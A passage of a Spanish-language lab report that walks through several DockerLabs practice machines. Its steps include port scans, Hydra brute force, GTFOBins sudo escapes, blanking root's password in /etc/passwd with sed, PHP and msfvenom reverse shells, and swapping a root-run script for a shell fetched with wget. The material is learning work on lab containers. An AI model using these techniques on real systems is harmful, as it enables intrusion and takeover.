binarios a ejecutar con permisos de administrador en el sistema con el comando
“sudo -l”.

5.2.11 User pivoting con dpkg.
Nuevamente consultamos en GTFOBins la manera de escalar nuestros privilegios al
usuario “gladys” desde el usuario actual “pingu”. Ejecutamos el binario “dpkg”
desde el usuario “gladys” con el comando “sudo -u gladys dpkg -l” y del mismo
modo que con el usuario anterior abrimos una shell con “!/bin/sh”. A continuación
realizamos el tratamiento de TTY para obtener una shell más completa desde el
usuario “gladys”. Mediante el pivoting de usuarios, también conocido como “user
pivoting” conseguimos movernos en la red del sistema vulnerado. Nuestro objetivo
final será encontrar un usuario con permisos de ejecución de administrador de
comandos. Utilizamos por última vez el comando “sudo -l” desde el usuario
“gladys”.

5.2.12 Root a través del binario chown.
La captura de pantalla muestra los últimos pasos del proceso de escalada de
privilegios en el sistema “anonymouspingu”. Expliquemos paso a paso qué hemos
hecho para lograr tomar el control de la máquina: En primer lugar, el comando
“sudo -l” nos muestra que el usuario actual, “gladys” podrá ejecutar el binario
“chown” con privilegios de administrador en el sistema actual. Se trata de una falla
de seguridad descomunal, ya que con el comando “chown” podremos cambiar la
propiedad de cualquier archivo y directorio en el sistema. Esto es, podremos otorgar
al usuario “gladys” permisos sobre archivos como “/etc/passwd”, “/etc/shadow” o
incluso sobre el archivo “/etc/sudoers”, encargado de controlar y restringir el acceso
a los comandos con privilegios de root. Comenzamos haciendo al usuario actual
“gladys” propietario de todo el directorio “/etc” empleando el comando “sudo
chown gladys:gladys /etc”. La sintaxis del binario “chown” es sencilla,
comenzando con la llamada al mismo con privilegios de administrador (sudo
chown) y seguido del par “usuario:grupo”, en este caso “gladys:gladys”.
Finalmente indicamos el directorio al que queremos aplicar el cambio de propiedad,
en este caso, “/etc”. Ahora que somos propietarios del directorio entero expliquemos
brevemente una de las propiedades del archivo “/etc/passwd”. Como bien
sabemos, el archivo “/etc/passwd” es un archivo de configuración de sistemas Unix
(Linux, MacOS, etc) cuya función principal es almacenar información acerca de las
cuentas de usuario del sistema. La primera línea suele hacer referencia al propio

usuario “root”, o superusuario. Expliquemos a continuación la sintaxis de cada línea
de este archivo, tomando como referencia la línea del usuario “root”, que es la
siguiente: root:x:0:0:root:/root:/bin/bash.
● root: Nombre del usuario de la cuenta.
● x: Indica que la contraseña de la cuenta se encuentra almacenada en un
archivo
● 0:0: Par de UID (User Identifier) y GID (Group Identifier), identificadores
únicos de usuario.
● root: Información GECOS (Group, Email, Contact, Operating System) de la
cuenta. En este caso, “root” se repite, pero puede contener información
adicional como el nombre completo del usuario, dirección de correo
electrónico o comentarios descriptivos.
● /root: Ruta del directorio personal de la cuenta “root”.
● /bin/bash: Shell predeterminado que se ejecuta cuando el usuario inicia
sesión. En este caso, se utiliza el shell bash.
En este caso, lo que nos concierne es la segunda entrada de la línea, “:x:” la cual
hace referencia a la contraseña del usuario root. Si eliminamos esa “x” del archivo
“/etc/passwd” podremos acceder al usuario “root” sin necesidad de introducir
nuestra contraseña. Por desgracia no encontramos en el sistema actual ningún
editor de texto, como “nano” o “vim”, por lo que recurriremos a un binario con
nombre “sed”. Stream Editor (sed) es una herramienta que podemos encontrar en
sistemas operativos Unix. Se utiliza para procesar y modificar archivos de texto
desde la línea de comandos, a diferencia de vi o nano. Lo que haremos en este
caso será sustituir en el archivo “/etc/passwd” la sección que hace referencia la
contraseña del usuario “root”, sustituyendo “:x:” por “::”, dejando así vacía la

sección, permitiéndonos acceder al usuario “root” sin necesidad de introducir
ninguna contraseña. El comando a ejecutar es el siguiente: sed -i
‘s/root:x:/root::/g’ /etc/passwd”. Analicemos el comando ejecutado:
● sed -i: Llamada al comando con el parámetro “-i”, indicando a la herramienta
que modifique el archivo original en línea.
● ‘s/root:x:: Con ‘s/’ establecemos el patrón de búsqueda de texto en el
archivo. En este caso, indicaremos al binario “sed” que ha de buscar en el
archivo el texto “root:x:”.
● /root::/g’: Este será el texto de reemplazo “root::”. Limitamos la cadena de
texto de reemplazo y cerramos la llamada al binario con “/g’.
● /etc/passwd: Archivo objetivo.
Tras sustituir la cadena de texto cambiamos de usuario a “root” con “su root”,
tomando el control de la máquina “anonymouspingu”. Pasamos a la siguiente.
5.3 Capypenguin
Empezamos la tercera parte de la categoría de máquinas vulnerables “Fácil” de
DockerLabs accediendo al directorio correspondiente, iniciando el sistema
“capypenguin” con el comando “bash auto_deploy.sh capypenguin.tar”. La
dirección IP otorgada es 172.17.0.2. Comenzamos con el análisis de puertos y
servicios de la máquina con nmap mediante el comando “nmap -sS -sV -sC -Pn -p-
-n --min-rate=10000 -vvv 172.17.0.2”. Esto nos proporcionará información útil
acerca de los posibles vectores de ataques existentes en el sistema. Este es el
resultado:

El resultado muestra tres puertos abiertos en la máquina vulnerable: un puerto 22
SSH, un puerto 80 HTTP y un puerto 3306 MySQL. Con esta información previa
podemos deducir el siguiente procedimiento: Analizar mediante consultas HTTP el
puerto 80 en busca de credenciales de acceso a la base de datos MySQL o SSH, y
desde ahí comenzar la escalada de privilegios para acceder al usuario root.
Comenzamos recopilando información a través del puerto 80 con una consulta
Whatweb y una enumeración de directorios con Gobuster. Los comandos
ejecutados han sido los siguientes: whatweb 172.17.0.2 y gobuster dir -w
jpg,html,php,txt, respectivamente. Aquí tenemos los resultados.

La consulta Whatweb nos muestra información variada acerca de la versión de
Apache utilizada (2.4.52), así como el título de la página web alojada, “Web de
Capybaras”. La enumeración de directorios no logra proporcionar información útil,
por lo que el siguiente paso será inspeccionar el código fuente de la página web.
Podremos hacerlo directamente desde nuestro navegador web preferido o a través
de una consulta cURL a través del comando “curl 172.17.0.2”.
Tras inspeccionar el código fuente del sitio web nos topamos con un mensaje
bastante interesante. Un usuario con nombre “capybarauser” publica un comentario
“oculto” en la página haciendo referencia al diccionario “rockyou.txt”. Este usuario
indica que su contraseña se encuentra “segura” en las últimas líneas de la lista de
contraseñas. También menciona el comando “tac”. Tac (Tool for Aligning and
Comparing) es una herramienta de línea de comandos cuya función principal es
mostrar el contenido de un archivo de texto en orden inverso. Lo que haremos a
continuación, como indica el mensaje de “capybarauser” será emplear el comando

“tac” para invertir el diccionario “rockyou.txt” y realizar un ataque de fuerza bruta a
los puertos 22 (SSH) y 3306 (mySQL) utilizando como usuario “capybarauser”. Con
el comando “tac /home/kali/lists/rockyou.txt > rockyouinverted” crearemos el
nuevo diccionario. Ejecutamos el ataque de diccionario con el comando “hydra -l
capybarauser -P /home/kali/rockyouinverted ssh://172.17.0.2”. Tras fracasar lo
intentamos al protocolo MySQL con “mysql:172.17.0.2”. El ataque no tuvo éxito, por
lo que decidimos investigar la razón, empezando por el diccionario. Podemos
analizarlo con cualquier editor de texto, como nano o vm, o también podemos
comprobar las primeras líneas del archivo con el comando “head”. Observamos lo
siguiente:
5.3.5 Diccionario invertido.
Observamos que la nueva lista está llena de espacios en blanco, por alguna razón.
Es probable que los espacios interfieran en el ataque de fuerza bruta. Eliminaremos
los espacios en blanco con el comando “cat rockyouinverted | tr -d ‘ ‘
>diccionario”. El comando “tr” también conocido como “Translate” es un comando
utilizado en sistemas Unix para transformar o modificar caracteres en archivos de
texto. Con “tr -d ‘ ‘“ eliminaremos los espacios en blanco del archivo original. Nos
aseguramos también de eliminar los caracteres extraños “*, ^D, ^H” que
encontraremos tras inspeccionar el archivo con “nano”. Probamos suertes una vez

más el ataque de diccionario con Hydra a los servicios SSH y MySQL. Tendremos
éxito con MySQL:
5.3.6 Ataque de diccionario a MySQL.
Tras el ataque logramos obtener las credenciales de acceso a la base de datos
disponible en la máquina objetivo. Nos conectamos a través del puerto 3306 con el
usuario y contraseña descubiertos con el comando “mysql -h 172.17.0.2 -u
capybarauser -p”.
5.3.7 Acceso a la base de datos del sistema.
Una vez accedemos a la base de datos a través de MySQL procedemos a buscar
información que pueda sernos de utilidad. Quizás credenciales de acceso SSH. Lo
primero que haremos será enumerar las bases de datos existentes en el sistema.
Para ello introducimos el comando “SHOW DATABASES;”. Esto nos mostrará una
serie de bases de datos disponibles. La mayoría aparentan ser bases de datos
genéricas, pero una en concreto nos llama la atención, “pinguinasio_db”.
Seleccionamos la base de datos con el comando “USE pinguinasio_db;”. Una vez
seleccionamos la base de datos con la que queramos operar enumeramos las

tablas disponibles, en busca de información útil. Para ello empleamos el comando
“SHOW TABLES;”. La base de datos actual, “pinguinasio_db” solo tiene una tabla,
por lo que con el comando “SELECT * FROM users;” mostraremos toda la
información contenida en la tabla “users”. La tabla contiene unas credenciales de
acceso, las cuales creemos que serán útiles para acceder por SSH al sistema. El
par usuario:contraseña descubierto es “mario:pinguinomolon123”.
5.3.8 Base de datos MariaDB.

Accedemos con las credenciales obtenidas por SSH al sistema “capypenguin” a
través del comando “ssh mario@172.17.0.2”. Introducimos la contraseña
“pinguinomolon123” y accedemos a la máquina. El siguiente paso, como siempre,
será buscar posibles comandos a ejecutar con permisos de superusuario, con el
comando “sudo -l”.
5.3.9 Acceso por SSH y búsqueda de comandos con privilegios.
Tras ejecutar el comando mencionado descubrimos que el usuario actual, “mario”
puede utilizar el binario “nano” con permisos de administrador en el sistema actual.
Consultamos en GTFOBins el procedimiento para la escalada de privilegios desde
el editor de texto “nano”. La página web nos muestra que, abriendo el binario
“nano” desde root con “sudo nano” podremos hacer “CTRL+R” (también escrito
“^R”) y a continuación “CTRL+X” (^X) para abrir una terminal en el propio editor de
texto. “^R” Ejecutará el comando “Read File” para leer un archivo del sistema. Acto
seguido, “^X” ejecutará la opción “Execute command”, dándonos paso libre para
abrir una shell con permisos de administrador dentro de “nano”, escribiendo en la
terminal “reset; sh 1>&0 2>&0”. Este último comando borrará la pantalla y
restablecerá la configuración del terminal a sus valores predeterminados, iniciando a

continuación una nueva instancia del shell predeterminado del sistema, siendo en
este caso “bash”. Con esto lograremos hacernos con el control del sistema, al
obtener una shell con permisos de superusuario, o root.
5.3.10 Inicio de la shell bash a través de nano.
5.3.11 Root.
5.4 Chocolatelovers
Empezamos con la cuarta máquina de esta categoría iniciándola con el comando
“bash auto_deploy chocolatelovers.tar”. La dirección IP otorgada será una vez
más 172.17.0.2. El primer paso a realizar será iniciar un escaneo de puertos y
servicios con nmap. El comando utilizado es, como de costumbre, “nmap -sS -sV
-sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2”. Este es el resultado del escaneo:
Descubrimos que la máquina objetivo tan solo cuenta con un puerto abierto, el 80
HTTP. Procedemos a analizar el sistema a través de este puerto 80 abierto,

mediante una consulta whatweb, además de realizar una enumeración de
directorios con gobuster:
5.4.2 Whatweb 172.17.0.2.
5.4.3 Gobuster dir -w /home/kali/lists/directory-list-2.3-medium.txt -u http://172.17.0.2/nibbleblog/ -x

jpg,html,php,txt.
La consulta “whatweb” no proporciona información útil. Sin embargo, la
enumeración de directorios presenta una serie de carpetas ocultas a primera vista
en el servidor web de la máquina “chocolatelovers”. Descubrimos un patrón común
en parte de las redirecciones (código HTTP 301) con el nombre de “nibblebog”.
Nibbleblog es un CMS (sistema de gestión de contenidos) gratuito empleado para
crear blogs. Tras investigar y nvaegar un rato a través de los directorios
descubiertos tras la enumeración de Gobuster nos topamos con esta página,
“/update.php”.

5.4.4 Página de actualización de Nibbleblog.
Damos con una supuesta página de actualización de la versión y plugins del CMS
utilizado por el sistema objetivo, Nibbleblog. Lo que nos llama la atención (o debería
a estas alturas) es la versión del CMS utilizado, “Nibbleblog 4.0.3 “Coffee””. Tras
investigar un poco acerca de esta versión en específico de Nibbleblog descubrimos
que posee una falla de seguridad muy grave, que nos permite la subida de ficheros
al servidor de un usuario autenticado. La vulnerabilidad nace de la ausencia de
control de tipos de ficheros subidos a través del plugin “my image”, instalado por
defecto en Nibbleblog, por lo que, autenticados en el sistema podremos subir una
reverse shell en PHP para acceder al sistema. Sin embargo, necesitaremos las
credenciales de acceso del administrador. Tras probar la primera combinación que a
uno se le viene a la cabeza (admin:admin) logramos acceder. Entramos en el
apartado Plugins > My Image > Install. Una vez estamos en la página del plugin
seleccionamos nuestro archivo “.php” con la reverse shell. Recordemos que este
archivo, el cual empleamos en numerosas ocasiones en las prácticas se encuentra
en “/usr/share/webshells/php/php-reverse-shell”.

5.4.5 Subida al servidor de reverse shell en .php.
A continuación ejecutamos la reverse shell. Primero abrimos un canal de escucha
con Netcat en nuestra máquina Kali con el comando “nc -vnp 1234”. A continuación
ejecutamos la reverse shell bien con un “curl” o bien ejecutándola directamente
desde el navegador web. El directorio donde se encuentra nuestro archivo malicioso
es “http://172.17.0.2/nibbleblog/content/private/plugins/my_image/exploit.php”.
Ejecutamos la reverse shell y comenzamos el tratamiento de la TTY.
5.4.6 Ejecución de la shell inversa en .php y tratamiento de TTY.
Una vez abierta la shell en la terminal, a través del canal de escucha con Netcat
realizamos el tratamiento de TTY, comenzando con la ejecución del comando

“script /dev/null -c bash”. A continuación mandamos en segundo plano la shell con
“^Z” e introducimos el comando “stty raw -echo;fg”. Reiniciamos la terminal con
“reset xterm” y por último exportamos la shell bash y el tipo de terminal “xterm” con
el comando “export TERM=xterm SHELL=bash”. Un paso adicional a tomar para
mejorar el tratamiento de TTY será la configuración de filas y columnas de la
terminal. Primeramente debemos comprobar nuestra terminal principal en Kali con
“stty size”. Esto nos mostrará la configuración actual de nuestra terminal. En mi
caso muestra “55 236”, por lo que en la reverse shell introduzco el comando “stty
rows 55 columns 236”.
Una vez realicemos el tratamiento de la TTY procederemos a buscar binarios
ejecutables con permisos de administrador a través del comando “sudo -l”. Nos
mostrará lo siguiente:
5.4.7 Sudo -l desde el usuario www-data.
El resultado nos indica que el usuario actual, “www-data” podrá ejecutar el binario
“/usr/bin/php” desde el usuario “chocolate” sin necesidad de contraseña.
Accedemos a GTFOBins en busca del comando a ejecutar para obtener una shell
desde el usuario “chocolate”. Introducimos el siguiente comando “CMD="/bin/sh"
sudo -u chocolate php -r "system('$CMD');"”. Desglosamos el comando para
entender exactamente qué estamos haciendo con esto:

● CMD="/bin/sh": En primer lugar se establece y define la variable “CMD”,
asignándole el valor “/bin/sh”. Esta variable almacenará la ruta completa al
intérprete de comandos shell predeterminado (bash) en el sistema.
● sudo -u chocolate php -r : Con esto ejecutamos a través del usuario
“chocolate” el intérprete de PHP. El argumento “-r” indica que el intérprete
PHP debe ejecutar el código PHP que se pasa como argumento.
● system('$CMD');: La función “System()” se utiliza para ejecutar el comando
especificado como argumento. El argumento propiamente dicho es una
cadena entre comillas simples “‘$CMD’”. El valor de la variable “CMD”, que
en este caso es “/bin/sh” se expandirá y se pasará a la función “system()”
En resumen, ejecutamos una shell bash desde el usuario “chocolate”. Si todo
funciona como debería, ejecutamos el comando “bash” y tendremos una shell de
usuario con “chocolate”. Una vez accedemos al sistema desde el usuario
“chocolate” repetiremos el mismo proceso en busca de binarios a ejecutar con
permisos de administrador, con el comando “sudo -l”. Sin embargo, nos pide la
contraseña, la cual desconocemos. Intentaremos a continuación buscar posibles
archivos sobre los cuales el usuario actual “chocolate” tenga propiedad. Para ello
utilizamos el comando “find / -perm -4000 2>/dev/null”.
5.4.8 Búsqueda de binarios y archivos para la escalada de privilegios.

Por desgracia no logramos encontrar nada que sea de utilidad. Con “sudo -l” se nos
pide la contraseña del usuario actual, la cual desconocemos. La consulta siguiente
no muestra nada fuera de lo normal. Parece que ningún método usual nos funciona,
por lo que observaremos los procesos en ejecución del sistema a través del
comando “ps -aux”. Expliquemos brevemente los parámetros del comando:
● ps: Llamada al comando “Process Status” utilizado para obtener información
sobre procesos en el sistema.
● -a: Muestra todos los procesos en ejecución, incluyendo aquellos
ejecutándose en segundo plano, y aquellos pertenecientes a otros usuarios.
● -u: Muestra información adicional sobre los usuarios que poseen los
procesos.
● -x: Muestra información en formato extendido, incluyendo el ID del proceso,
también conocido como PID, el nombre del comando, el estado del proceso,
uso de CPU, línea de comandos utilizada para iniciar el proceso, etc.
5.4.9 Procesos en ejecución del sistema.
El primer proceso de la lista llama bastante la atención. Siendo el propietario de este
proceso ni más ni menos que nuestro ansiado root desglosamos el proceso, para
entender qué ocurre y su por qué:

● service apache2 start: Esta primera parte del comando se encarga de iniciar
el servidor web Apache2, permitiendo a las páginas web alojadas en el
servidor ser accesibles a través de Internet.
● && while true; do: Crea un bucle infinito, ejecutando la siguiente parte del
código continuamente hasta que el comando se detenga manualmente.
● php /opt/script.php: Esta parte ejecuta el script PHP especificado, ubicado
en “/opt”.
● sleep 5: Esta parte introduce una pausa de 5 segundos entre cada ejecución
del script PHP.
Por lo que hemos podido entender, root está ejecutando un proceso en segundo
plano. Este proceso se basa en la ejecución de un archivo “.php” ubicado en “/opt”
cada 5 segundos. Lo primero que se nos viene a la cabeza en esta situación es lo
siguiente: si tenemos permisos para interactuar con el archivo ejecutado
periódicamente, podremos hacernos con el control del sistema. Curiosamente la
opción más simple funcionará. Esto es lo que hemos hecho:
Desde el usuario actual, “chocolate” accedemos al directorio “/opt”, donde se
encuentra el script ejecutado por root cada 5 segundos. Al tener permisos sobre el
script propiamente dicho, simplemente lo renombramos con el comando “mv
script.php script2.php”. A continuación modificamos nuestro ya clásico archivo de
reverse shell en .php, con un nuevo puerto de conexión (en mi caso el 1212) y el
nuevo nombre “script.php”. Acto seguido abrimos un servidor HTTP con Python
con el comando “python3 -m http.server”. Una vez abierto el servidor Python,
desde la terminal de la reverse shell ejecutamos el comando “wget
http:10.0.2.25:8000/script.php” para descargar la reverse shell desde nuestra

máquina local Kali, al directorio “/opt” objetivo. De este modo, cada 5 segundos root
ejecutará el script “script.php” (sustituido ahora por la reverse shell).
5.4.10 Descarga de la reverse shell a través de un servidor HTTP en Python.
Una vez descargada la reverse shell en la máquina objetivo, específicamente en el
directorio “/opt” abrimos un nuevo canal de escucha con Netcat en el puerto
especificado en la nueva reverse shell, con el comando “nc -lvnp 1212”. Si todo
funciona, en un período máximo de 5 segundos deberá abrirse la shell desde root.
5.4.11 Root.

5.5 Move
Iniciamos la quinta máquina clasificada como “Fácil” en la plataforma DockerLabs.
El contenedor de Docker se iniciará con el comando “bash auto_deploy.sh
move.tar”. La dirección IP otorgada será nuevamente 172.17.0.2. Comenzamos la
práctica lanzando un escaneo de puertos y servicios con Nmap. El comando
utilizado ha sido “nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2”.
Por alguna razón el escaneo se detuvo varias veces durante el proceso, por lo que
intuyo que está hecho a propósito, quizás buscando un parámetro concreto. De
todos modos encontramos cuatro puertos abiertos en la máquina objetivo. En primer
lugar el puerto 21 encargado del protocolo FTP (File Transfer Protocol). El segundo
puerto abierto es el puerto 22 por el que corre el protocolo SSH. En tercer lugar
encontramos un puerto 80 abierto, indicando la existencia de un sitio web alojado
en el sistema. Por último nos topamos con un puerto desconocido hasta el
momento, el puerto 3000. Se trata de un puerto usado comúnmente para
aplicaciones web desarrolladas localmente. No está asignado a ningún servicio
específico por la Autoridad de Números Asignados de Internet (IANA). El puerto
3000 suele ser una opción popular para los desarrolladores que ejecutan servidores
web locales para probar y depurar aplicaciones web antes de implementarlas en un
entorno de producción.

En primer lugar probaremos suertes con el puerto 21, intentando acceder por FTP a
la máquina objetivo con el usuario “anonymous”, sin necesidad de contraseña.
Accedemos con el comando “ftp anonymous@172.17.0.2” y logramos acceder.
5.5.2 Transferencia de ficheros a través de FTP.
Encontramos en la máquina un directorio llamado “mantenimiento”, desde el cual
descargamos el fichero “database.kdbx”, para su posible análisis más tarde. Al no
encontrar nada más de utilidad desde este puerto continuaremos con el puerto 80.
En primer lugar lanzaremos una enumeración de directorios con Gobuster, así
como una consulta whatweb para obtener información adicional sobre el sistema.
Los comandos ejecutados han sido “gobuster dir -w
jpg,html,php,txt” y “whatweb 172.17.0.2”, respectivamente:

La consulta “Whatweb” no ha logrado proporcionar mucha información útil. Sin
embargo, la enumeración de directorios ha encontrado un directorio que resalta
sobre los demás, “/maintenance.html”. Realizamos una consulta HTTP con cURL
para acceder al código fuente de la página web desde la terminal a través del
comando “curl http://172.17.0.2/maintenance.html”.
La página web muestra un mensaje avisando al usuario sobre el estado actual del
sitio web. Al parecer se encuentra en mantenimiento (como bien indica el propio
nombre de la página), pero el mensaje también dice que el acceso se encuentra en
“/tmp/pass.txt”. Nuestra tarea ahora será buscar el modo de acceder al directorio
“/tmp” del sistema, en busca del archivo “.txt” señalado.
Tras probar suertes alrededor del puerto 80 no logramos ningún tipo de acceso, por
lo que continuaremos la búsqueda a través del último puerto abierto de la máquina,
el puerto 3000. Si recordamos bien, este puerto se utiliza comúnmente para el
testeo de aplicaciones web, por lo que accedemos desde nuestro navegador web a
la dirección “172.17.0.2:3000”. Nos encontramos con una página de login Grafana.
Grafana es una plataforma de visualización de datos de código abierto que permite
monitorear, analizar y explorar series de datos de tiempo. La página web nos recibe
con un cuadro de login, desde el cual intentamos acceder con la más clásica
“admin:admin”. Por alguna razón nos pide cambiar la contraseña, aunque también
nos ofrece la posibilidad de saltar este paso.

5.5.6 Página principal de Grafana.
Antes de avanzar e investigar de más o de menos en todos los rincones del sitio
web lo más importante será siempre buscar la versión de la plataforma, CMS,
software, etc. Muchas veces conseguiremos ahorrar mucho tiempo útil encontrando
rápidamente una versión de software vulnerable que explotar. Por suerte, este ha
sido el caso, una vez más. En la página principal, abajo a la izquierda en el icono de
información “?” podemos ver la versión utilizada para esta aplicación web, la
versión 8.3.0.
5.5.7 Versión de Grafna.
Una vez conocida la versión podremos realizar una búsqueda de exploits o
vulnerabilidades a través de Google, con ExploitDB o desde nuestra terminal en Kali
con searchsploit. El comando ejecutado ha sido “searchsploit grafana”.
Encontramos un exploit que afecta a esta versión concreta de software, permitiendo

la lectura de archivos en el sistema. Suena bien, así que descargamos el exploit con
el parámetro “-m” (mirror), indicando la ruta de acceso al exploit ofrecido.
5.5.8 Explotación de vulnerabilidades y búsqueda de exploits con searchsploit.
Una vez descargado el archivo le otorgamos permisos de ejecución con “chmod +x
exploit” y lo ejecutamos junto con el parámetro “-h” para informarnos acerca de su
modo de uso. La ejecución del script en Python es bastante sencillo: solo tendremos
que hacer la llamada al mismo, seguido del parámetro “-H” para indicar el host, es
decir, la dirección IP y puerto donde se encuentre la aplicación web de Grafana con
la versión indicada en el exploit. Con el comando “pyhon3 50581.py -H
http://172.17.0.2:3000” ejecutamos el script. La línea siguiente nos pedirá que
indiquemos qué archivo queremos leer. En primer lugar probaremos suertes con
“/etc/passwd” para buscar posibles usuarios en el sistema. A continuación le
indicamos que abra el archivo “/tmp/pass.txt”, descubierto en puntos anteriores, en
el código fuente de “172.17.0.2/maintenance.html”. Estos son los resultados:

5.5.9 Lectura de /etc/passwd.
5.5.10 Lectura de /tmp/pass.txt.
Con esto y un bizcocho ya tendríamos unas posibles credenciales de acceso válidas
al sistema. Tras acceder y leer el archivo “/etc/passwd” descubrimos un usuario con
nombre “freddy”. De igual manera, leyendo el archivo “/tmp/pass.txt” obtenemos
una posible contraseña. El siguiente paso será intentar establecer una conexión por
SSH a través del puerto 22 al sistema, con el comando “ssh freddy@172.17.0.2”.
Introducimos la contraseña obtenida en el paso anterior y accedemos al sistema.
5.5.11 Acceso por SSH.

Una vez obtenemos la shell con el usuario “freddy” procedemos a buscar posibles
comandos o binarios a ejecutar con permisos de administrador o de otros usuarios
con el objetivo de escalar nuestros privilegios. El comando es “sudo -l”.
5.5.12 Escalada de privilegios a través de Python.
El resultado de la búsqueda nos ofrece un buen punto de partida. Permite a
cualquier usuario del sistema utilizar el binario “/usr/bin/python3” para ejecutar el
script “/opt/maintenance.py”. Con un “cat” leemos el archivo indicado para ver de
qué se trata. Descubrimos que es un simple script que imprime en pantalla una
cadena de texto. Sabemos que cualquier usuario puede ejecutar el script con el
nombre “maintenance.py” siempre que esté en el directorio “/opt” sin necesidad de
contraseña. Lo que haremos a continuación será renombrar el archivo existente con
“mv maintenance.py maintenance2.py”, dejando el nombre libre para crear
nosotros uno que nos permita iniciar una shell bash como administrador.
Simplemente creamos un archivo de texto nuevo con “nano maintenance.py” y
dentro escribiremos el siguiente texto “import os; os.system(‘/bin/sh’)”. Este script
simplemente abrirá una shell bash, pero si lo ejecutamos desde “root” (recordemos
que cualquier usuario del sistema podrá ejecutar el binario “python3”) obtendremos
la shell con permisos de administrador, obteniendo control total sobre el sistema
“move”. Ejecutamos el nuevo script con el comando “sudo /usr/bin/python3
/opt/maintenance.py” y accedemos como “root”.

5.5.13 Script en Python para abrir una shell bash.
5.5.14 Root.
5.6 Pn
Iniciamos la sexta máquina vulnerable de esta categoría accediendo al directorio
correspondiente y arrancando el contenedor de Docker con el comando “bash
auto_deploy pn.tar”. La dirección IP otorgada es una vez más 172.17.0.2.
Ejecutamos un escaneo de puertos y servicios con Nmap con el siguiente comando:
nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2. Este es el
resultado:

El escaneo de puertos y servicios realizado muestra dos puertos abiertos. En primer
lugar, el puerto 21 FTP, el cual utiliza una versión vulnerable a la autenticación
anónima en el sistema, lo que nos permitirá acceder sin necesidad de contraseña
con el usuario “anonymous”. En segundo lugar un puerto 8080, un puerto
alternativo al 80 que suele ser utilizado como puerto de pruebas para servidores
web.
Comenzamos la práctica aprovechando la vulnerabilidad existente en el puerto 21 y
accedemos por FTP al sistema con el comando “ftp anonymous@172.17.0.2”.
Introducimos cualquier contraseña (o ninguna) y logramos entrar. Dentro
encontramos un archivo, de nombre “tomcat.txt”. Con el comando “get” lo
enviamos a nuestra máquina local Kali para inspeccionar el fichero.
5.6.2 Transferencia de archivos por FTP
5.6.3 Contenido del archivo tomcat.txt.
El archivo descargado contiene un mensaje para un supuesto usuario “tomcat”,
pidiéndole que configure el servidor Tomcat por haber perdido la contraseña.
Cuando hablamos de Tomcat nos referimos a Apache Tomcat, conocido también
como Jakarta Tomcat. Se trata de un servidor web que permite ejecutar aplicaciones
web desarrolladas en lenguaje Java, proporcionando el entorno necesario para que
estas aplicaciones funcionen correctamente.

El mensaje del archivo “tomcat.txt” nos da a entender que quizás hayan reiniciado
el servidor a sus configuraciones por defecto. Accedemos a la página principal
desde el navegador web, en la dirección “172.17.0.2:8080”.
5.6.4 Página principal de Tomcat.
Accedemos a la página principal y lo primero que vemos es la versión de Tomcat
utilizada. En este caso se trata de Apache Tomcat/9.0.88. Tras investigar un poco
descubrimos esta página en la que se tratan una serie de vulnerabilidades
asociadas a este software web. Básicamente seguiremos la guía del link, ya que
será exactamente lo que necesitemos para la resolución de la máquina “Pn”.
Lo primero será acceder a la página de administrador del sistema de Tomcat.
Podremos hacer click en el cuadro “Server Status” o “Manager App”. Nos solicitará
credenciales de acceso. Tras probar varias combinaciones usuario:contraseña por
defecto de Apache Tomcat damos con las indicadas. En este caso “tomcat:s3cr3t”.
También hay un módulo en Metasploit Framework que hará un ataque de fuerza
bruta a la página de login de Tomcat. Por alguna razón Metasploit no ha querido
funcionar, por lo que lo dejaremos para otra ocasión. Por el momento hemos logrado
acceder a la página de administrador del servidor web. Si accedemos a la ventana
“List Applications” podremos ver un apartado llamado “Deploy” que nos dejará
subir un archivo “.war” al servidor. Nuestra tarea será buscar o crear un archivo de
esta extensión que nos permita establecer una shell inversa con nuestra máquina

local. Para ello seguimos la guía de la página y creamos una shell inversa indicando
nuestra dirección IP local y el puerto que utilizaremos para la conexión utilizando la
herramienta Msfvenom. El comando utilizado es “msfvenom -p
java/jsp_shell_reverse_tcp LHOST=10.0.2.25 LPORT=1234 -f war -o
revshell.war”.
A continuación subimos el archivo recién creado “revshell.war” en la pestaña
mencionada anteriormente “Deploy”.
5.6.5 Cuadro desde el cual subimos la shell inversa .war.
Una vez subido el archivo abrimos un canal de escucha con Netcat con el comando
“nc -lvnp 1234”. Una vez establecido el canal desde nuestro equipo local
ejecutaremos la reverse shell desde el lado del servidor, en la dirección
“172.17.0.2:8080/revshell/”. Curiosamente la shell obtenida tiene permisos de
administrador, por lo que una escalada de privilegios no será ni necesaria ni posible.
Con esto finalizamos la sexta máquina disponible en Dockerlabs, “Pn”. Vamos a por
la séptima.
5.6.6 Root.

5.7 WalkingCMS
Nos encontramos ante la séptima y penúltima máquina vulnerable disponible (en el
momento de la descarga) en la plataforma Dockerlabs. Arrancamos el contenedor
con el comando “bash auto_deploy.sh walkingcms.tar”. La dirección IP asignada
es 172.17.0.2. El primer paso será realizar el escaneo de puertos y servicios con
Nmap, como de costumbre, en busca de posibles vectores de ataque y
vulnerabilidades existentes. El resultado es el siguiente:
El resultado muestra solo un puerto abierto. En este caso se trata del puerto 80
encargado del protocolo HTTP. Nos indica que existe un sitio web alojado en el
servidor de la máquina. Al no haber ningún otro puerto disponible a primera vista
procedemos a analizar y enumerar el puerto 80 a través de herramientas como
Gobuster o Whatweb. Con “gobuster dir -w
jpg,html,php,txtb” realizaremos una enumeración de directorios en busca de
posibles archivos y directorios ocultos.

Lo que más llama la atención de esta primera enumeración de directorios es el
directorio “/wordpress”. Recordemos que Wordpress es un CMS (sistema de
gestión de contenidos) utilizado para crear y administrar sitios web y blogs. También
deberíamos conocer la existencia de la herramienta WPScan, un programa que
utilizaremos para analizar la seguridad de páginas web creadas y gestionados con
Wordpress. Escaneamos la página web con el comando “wpscan –url
http:172.17.0.2/wordpress/”.
5.7.3 Resultado de WPScan.
Parte de los resultados interesantes del escaneo son los mostrados en la captura.
En primer lugar descubrimos que el directorio “/uploads” está disponible y accesible
de manera pública, presentando una grave falla de seguridad. Por otro lado, la
herramienta nos indica con un 60% de certeza que el sistema “WP-Cron” se
encuentra activado. Wp-cron es un sistema que permite programar tareas para que
se ejecuten automáticamente. Por último nos indica que la versión de Wordpress
utilizada (6.4.3) está obsoleta y es insegura.

Procedemos a analizar el sitio web, en busca de más información útil. En la página
principal
encontramos el comentario de un tal usuario “mario”.
5.7.4 Comentario en la página de Wordpress.
Podemos utilizar la propia herramienta WPScan para realizar un ataque de
